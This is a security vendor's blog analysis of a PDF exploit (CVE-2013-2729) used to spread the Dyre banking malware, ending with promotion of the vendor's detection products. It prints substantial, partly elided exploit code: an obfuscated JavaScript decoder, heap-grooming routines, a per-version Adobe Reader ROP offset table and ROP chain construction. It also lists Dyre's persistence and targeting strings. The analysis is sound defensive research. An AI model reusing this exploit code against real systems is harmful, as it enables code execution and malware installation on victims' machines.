Skip Navigation
BlackBerry ThreatVector Blog

Infinity vs. The Real World: Dyre

The Dyre fire has been burning since at least June, but so far shows little sign of being contained. Just last week, a blast of malicious PDF's began spreading yet another iteration of the malware (MD5: 38F4F489BD7E59ED91DC6FF95F37999F). In the first hours of the outbreak–or at least, when the malware sample was first submitted to public and private malware feeds–the analysis was, well, dire:

Detection of the malicious PDF (MD5: 536445D39DE9F19947AA493C1EE57751) was similarly meager, even though the vulnerability it exploits was published and patched over a year ago.

The PDF boils down to an XFA (XML Forms Architecture) form containing an obfuscated JavaScript decoding stub, two encoded bodies of JavaScript that prepare the exploitation environment and payload, and a malformed BMP image that accomplishes memory corruption via the CVE-2013-2729 vulnerability. Here's the PDF-level encapsulation:


 %PDF-1.7 
 %... 
 1 0 obj 
 << 
   /Filter [/Fl] /L 44  -- "Fl" filter abbreviation instead of the usual "FlateDecode" 
 >> 
 stream 
  ...  -- ZLIB-compressed XFA XDP 
 endstream 
 endobj 
 2 0 obj 
 << 
   /XFA 1 0 R  -- interpret referenced stream as an XFA form 
 >> 
  ...   

 The XFA form is an XDP (XML Data Package)-format XML document that serves as a container for pretty much everything an exploit author could need. When decompressed, it looks like this:  

 

 <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2014-01-21T18:14:41Z"> 
 <template xmlns="http://www.xfa.org/schema/xfa-template/3.1/"> 
  ... 
       <variables> 
          <script name="im" contentType="application/x-javascript"> 
  ... 
             var ma = "5t5in55f5o55har5o5ee5a5u5es5a5e"; 
             var upd = "Srg.rmCCdvlncp"; 
             var upd0 = "";  -- decodes to "String.fromCharCodeevalunescape", dirty words commonly seen in exploits 
             var ii = 0; 
             for (var i=0; i &lt; ma.length; i++)  
             { 
              if(ma[i] != "5") 
               upd0 += ma[i]; 
                else 
                 upd0 += upd[ii++]; 
             }  
             var cMZ = parOM(upd0.slice(19,23));  -- eval  
             var VUSO = cMZ(upd0.slice(23));  -- unescape 
          cMZ(mG05X(xfa.resolveNode("Text101").rawValue));  -- decodes and evals helper JavaScript  
          </script>  
          <?templateDesigner expand 1?> 
       </variables> 
       <subform w="576pt" h="756pt"> 
          <field name="Image301"> 
             <ui> <imageEdit/> </ui> 
             <value> 
  ... 
                <image>  -- base64-encoded malformed BMP (triggers CVE-2013-2729) 
  Qk0AAAAACgAUAAAAAABAAAAALgEAAAEAAAABAAgAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAUkdC 
 QVJHQkEAAv8AAAL/AAAC/wAAAv8AAAL/AAAC/wAAAv8AAAL/AAAC/wAAAv8AAAL/AAAC/wAAAv8A 
  ... 
                </image> 
             </value> 
          </field> 
       </subform> 
    
       <event activity="initialize" name="s9">  -- sets up string objects to be corrupted (see below), interspersed with holes 
          <script contentType="application/x-javascript"> 
             var i; var j; 
             if (i3d.of4 == 0){ 
                var VYz = "\u5858\u5858\u5678\u1234"; 
                var yGUaT = i3d.D4W/2-1-(VYz.length+2+2); 
    
                for (i=0; i &lt; i3d.Ibv2; i+=1) 
                   i3d.KsK[i] = VYz + im.ymE4(1,i) + 
                                im.oxi.substring(0, yGUaT) + 
                                im.ymE4(1,i) + ""; 
    
                for (j=0; j &lt; 1000; j++) 
                   for (i=i3d.Ibv2-1; i &gt; i3d.Ibv2/4; i-=10) 
                      i3d.KsK[i]=null; 
                i3d.of4 = 1; 
             } 
          </script> 
       </event> 
     
          <draw name="Text101" y="6.35mm" x="15.875mm" w="7.375in" h="254mm"> 
             <ui> 
                <textEdit/> 
             </ui> 
             <value> 
                <text>  -- "Text101" JavaScript decoded by mG05X function call above 
                nAB57/Vaod57/ASto19/MqbD19/ibPf19/dUaq19/bsX19/hZqj19/djwh19/sJU19/ciQ74/ 
 wiM68/CyA19/gjVQ95/TAY19/BkG98/hzj30/uPDm117/Onw108/tiEi86/oKIU5/hqE0/JhYZ30/ 
  ... 
                </text> 
             </value> 
             <font typeface="Myriad Pro"/> 
             <margin topInset="0.5mm" bottomInset="0.5mm" leftInset="0.5mm" rightInset="0.5mm"/> 
          </draw> 
          <draw name="Text102" y="6.35mm" x="15.875mm" w="7.375in" h="254mm"> 
             <ui> 
                <textEdit/> 
             </ui> 
             <value> 
                <text>  -- "Text102" JavaScript decoded by im.mG05X function call below 
                HdGi57/SVEQ19/bHL19/IEzq19/EzZ19/dRa19/Mub19/WPhU19/Vlq19/VYc19/volf19/ 
 Dsb19/lhR19/WFD116/lIYx1/FpDd112/lKte19/gMJ9/tcqB89/Xsv19/yMHX116/Shc1/VKU112/ 
  ... 
                </text> 
             </value> 
             <font typeface="Myriad Pro"/> 
             <margin topInset="0.5mm" bottomInset="0.5mm" leftInset="0.5mm" rightInset="0.5mm"/> 
          </draw> 
     
       <event activity="docReady" ref="$host" name="EVde"> 
          <script contentType="application/x-javascript"> 
     
 im.cMZ(im.mG05X(xfa.resolveNode("Text102").rawValue));  -- decodes and evals exploitation JavaScript 
             </script> 
       </event> 
    </subform> 
  ... 

 The JavaScript stored under "Text101" builds a table of offsets specific to each anticipated version of Adobe Reader:  
   

 JH = "\u06eb\u0000\u0000\u05eb\uf9e8\uffff\u5aff\uc283\u8718\u8bd6...  -- escaped payload code 
   
         var o={"Reader":{ 
 "9.303":{"acrord32":0x85,"rop0":0x14BA8,"rop1":0x1E73AF,...,"GMHWA":0x7F245C,"VPA":0xB8809C}, 
 "9.304":{"acrord32":0x85,"rop0":0x14BD8,"rop1":0x1E74BF,...,"GMHWA":0x7F245C,"VPA":0xB8809C}, 
 "9.4":{"acrord32":0x85,"rop0":0x14BD8,"rop1":0x1C9D3F,...,"GMHWA":0x7F245C,"VPA":0xB8809C}, 
 "9.401":{"acrord32":0x85,"rop0":0x14BD8,"rop1":0x1C9D3F,...,"GMHWA":0x7F245C,"VPA":0xB8809C}, 
 "9.402":{"acrord32":0x86,"rop0":0x159F8,"rop1":0x1E8C3F,...,"GMHWA":0x7FB394,"VPA":0xB97FF4}, 
 "9.403":{"acrord32":0x86,"rop0":0x159F8,"rop1":0x1E950F,...,"GMHWA":0x7FB394,"VPA":0xB97FF4}, 
 "9.404":{"acrord32":0x86,"rop0":0x159F8,"rop1":0x1E950F,...,"GMHWA":0x7FB394,"VPA":0xB97FF4}, 
 "9.405":{"acrord32":0x86,"rop0":0x159C8,"rop1":0x1E85FF,...,"GMHWA":0x7FB394,"VPA":0xB97FF4}, 
 "9.406":{"acrord32":0x86,"rop0":0x41E0,"rop1":0x1E9A9F,...,"GMHWA":0x7FC394,"VPA":0xB9A374}, 
 "9.407":{"acrord32":0x86,"rop0":0x41E0,"rop1":0x1E9A9F,...,"GMHWA":0x7FC394,"VPA":0xB9A374}, 
 "9.5":{"acrord32":0x86,"rop0":0x159F8,"rop1":0x1EA7AF,...,"GMHWA":0x7FE394,"VPA":0xB9C3B4}, 
 "9.501":{"acrord32":0x87,"rop0":0x159E8,"rop1":0x1EA54F,...,"GMHWA":0x805398,"VPA":0xBA94F4}, 
 "9.502":{"acrord32":0x87,"rop0":0x159E8,"rop1":0x1CCDDF,...,"GMHWA":0x805398,"VPA":0xBA84F4}, 
 "9.503":{"acrord32":0x87,"rop0":0x76C04,"rop1":0x1D65CF,...,"GMHWA":0x806398,"VPA":0xBAA7D4}, 
 "9.504":{"acrord32":0x87,"rop0":0x76C04,"rop1":0x1D65CF,...,"GMHWA":0x806398,"VPA":0xBAA7D4}, 
 "10.101":{"acrord32":0xA3,"rop0":0x1DFFD,"rop1":0x1EAE7F,...,"GMHWA":0x964640,"VPA":0xE0426C}, 
 "10.102":{"acrord32":0xA4,"rop0":0x1E65D,"rop1":0x1EAF7F,...,"GMHWA":0x971644,"VPA":0xE1B9EC}, 
 "10.103":{"acrord32":0xA4,"rop0":0x1E6ED,"rop1":0x1EBCBF,...,"GMHWA":0x973644,"VPA":0xE1EACC}, 
 "10.104":{"acrord32":0xA4,"rop0":0x1E63D,"rop1":0x1EAB3F,...,"GMHWA":0x975648,"VPA":0xE20F6C}, 
 "10.105":{"acrord32":0xA5,"rop0":0x1E52D,"rop1":0x1EE93F,...,"GMHWA":0x98164C,"VPA":0xE33034}, 
 "10.106":{"acrord32":0xA5,"rop0":0x1E52D,"rop1":0x1EE93F,...,"GMHWA":0x98164C,"VPA":0xE33034}, 
 "11":{"acrord32":0xA9,"rop0":0xCFF4,"rop1":0x2D025F,...,"GMHWA":0xA756CC,"VPA":0xF3BBF8}, 
 "11.001":{"acrord32":0xA9,"rop0":0x19CBE,"rop1":0x2D933F,...,"GMHWA":0xA7D6B0,"VPA":0xF493B4}}}; 
  ... 

But the "Text102" JavaScript is where all the action is. Its code doesn't make for a very attractive figure, but let's hit the highlights:

 


 ...

             var ZNzZ = app.viewerVersion.toFixed(3);  -- get Reader version to look up offsets in "o" table 
             var ayLn = ZNzZ.split("."); 
             var UVjKP = parseInt(ayLn[0]); 
  ... 
             var h0i = "aNNNcNroNNrNdN3NNN2";  -- obfuscated "acrord32" string 
             var Cb = im.VUSO(im.JH); 
             var rMsF = Cb[0] + im.ymE4(1,(xHiR << 16) | UVjKP) + Cb.substring(3); 
             var AB5 = UVjKP >= 11 ? 16 : 14; 
     
             for (i=0; i < i3d.Ibv2; i+=1) 
                if ((i3d.KsK[i]!=null)  && (i3d.KsK[i][0] != "\u5858")){  -- scan for a corrupted string object on the heap 
                   G7 = i; 
                   QG6 = vXr = (im.ymE4(2,i3d.KsK[i], AB5) >> 16);  -- corruption enables retrieval of a pointer that reveals the address of AcroRd32.exe 
                   vXr = (QG6 - im.EiBY(h0i.replace(/N/g,""))) << 16; 
     
                   break; 
                } 
  ... 
             var NLGzB = 0x10901000;  -- target address for payload 
  ... 
             var L2nX = NLGzB; 
             var FOLy = "";  -- ROP chain accumulates here 
     
             FOLy += im.ymE4(1,vXr+im.EiBY("rop1")); 
     
             for (i=0; i < 27; i+=1) 
             { 
                if ( i == 24 ) 
                {FOLy += im.ymE4(1,vXr+im.EiBY("rop1x"));} 
                else 
                {FOLy += im.ymE4(1,0x41414141);} 
             } 
     
             L2nX += FOLy.length*2; 
     
             FOLy += im.ymE4(1,vXr+im.EiBY("rop0")); 
             FOLy += im.ymE4(1,vXr+im.EiBY("rop3x")); 
             FOLy += im.ymE4(1,vXr+im.EiBY("GMHWA"));  -- GetModuleHandleW 
             FOLy += im.ymE4(1,vXr+im.EiBY("rop4")); 
     
             FOLy += im.ymE4(1,vXr+im.EiBY("rop2")); 
             FOLy += im.ymE4(1,L2nX+0xDC); 
             FOLy += im.ymE4(1,L2nX+0xCC); 
             FOLy += im.ymE4(1,0x43434343); 
     
             FOLy += im.ymE4(1,0x43434343); 
             FOLy += im.ymE4(1,0x43434343); 
             FOLy += im.ymE4(1,vXr+im.EiBY("rop3")); 
             FOLy += im.ymE4(1,vXr+im.EiBY("rop3")); 
     
             FOLy += im.ymE4(1,vXr+im.EiBY("VPA"));  -- VirtualProtect 
             FOLy += im.ymE4(1,vXr+im.EiBY("rop4")); 
             FOLy += im.ymE4(1,L2nX+0x50); 
             FOLy += im.ymE4(1,L2nX+0x50); 
     
             FOLy += im.ymE4(1,0x1000); 
             FOLy += im.ymE4(1,0x40);  -- PAGE_EXECUTE_READWRITE 
  ... 
             FOLy += im.ymE4(1,0x46464646); 
             FOLy += im.ymE4(1,0xCCCCCCCC); 
             FOLy += im.ymE4(3,"VirtualProtect"); 
             FOLy += "\u0000"; 
             FOLy += "KERNEL32"; 
             FOLy += "\u0000"; 
             FOLy += rMsF; 
  ... 
             if(UVjKP > 9){xfa.host.messageBox("Page not found !", "Adobe acrobat", 3, 1);};  -- must be dismissed for exploitation to proceed 
             event.target.closeDoc(true);  -- triggers exploitation 

      

Overall, the malicious PDF is highly derivative of the original proof of concept, although the attackers did make a notable number of additions to the targets table.

As for the downloaded malware itself, it's just Dyre (or Dyreza, if you prefer), obfuscated in a way that maintains a roughly normal entropy (6.6), with an innocuous import table and a few random words of text ("About SunTan Application", "CMainFrame", "Ocean", "Lite", "Dallas") to further fake legitimacy upon very rudimentary analysis. Here are a few key strings from the unpacked malware:

 Global\1g2hk1hyj 
 Google Update Service 
 googleupdate 
 Software\Microsoft\Windows\CurrentVersion\Run 
 C:\cppgit\sike\Release\sikesvc.pdb      

It also contains two encoded DLL's embedded as resources, one 64-bit and the other 32-bit. Here's a short sampling of their notable strings:

 botid 
 \pipe\6t5uth4 
 browsnapshot 
 no CPU info 
 no users info 
 chrome.exe 
 firefox.exe 
 iexplore.exe 
      

So that's the kind of threat faced by the average Internet user today.

Now we've reached the point in the blog post where we turn the magnifying glass on ourselves. How did we do? Much to no one's amazement (at least to those of us who see these successes every day), CylancePROTECT came out unsinged. Its Memory Protection layer detected and prevented the exploitation attempt:

dyre-03

And what if the exploit had somehow gotten past Memory Protection, or what if the policy hadn't been configured to block exploitation attempts? This particular malicious PDF is just a Dyre delivery vehicle, so its payload is coded to download and run the Dyre executable mentioned at the top of this post. In this scenario, the malware would have been downloaded, but would it have executed? Not on our watch:

dyre-04

The malicious executable was detected as such, summarily quarantined, and never had a chance to do anything. Retrospective testing back to August shows that, had this malware sample actually existed at that time, CylancePROTECT and Infinity would have convicted it back then, too. 

Understandably, we have a fervor for showing off our technology. If you like hearing about it, here's a quick teaser just for you–Infinity versus the malicious PDF itself:

dyre-05

That's right: we're now aiming our machine learning models at the problem of analyzing documents themselves to mathematically detect maliciousness. (Stay tuned for our official announcement of this offering.) If we can convict a malicious document before it ever touches a vulnerable application–and, obviously, we can–then we will have added a third, potent layer of defense with the ability to kill the exploitation chain before a payload or malware ever enters the picture. 

To sum up, while the recent PDF-borne Dyre campaign caught the AV industry largely unprepared, it failed completely against our technology–our memory protection, our math-based malware prevention, and coming soon, our math-based malicious document protection. From experience, we've come to expect great things from the first two, and it's nice to see that the PDF model is carrying the torch, so to speak. Not bad for its baptism of fire.

- Derek Soeder (Cylance Sr. Researcher)

Derek Soeder

About Derek Soeder

Senior Threat Researcher at Cylance

Derek Soeder is a Senior Threat Researcher at Cylance. He has reverse-engineered, prototyped, and programmed for offense and defense with a number of companies, including eEye Digital Security. Derek specializes in Windows internals and manipulating systems at a machine-code level.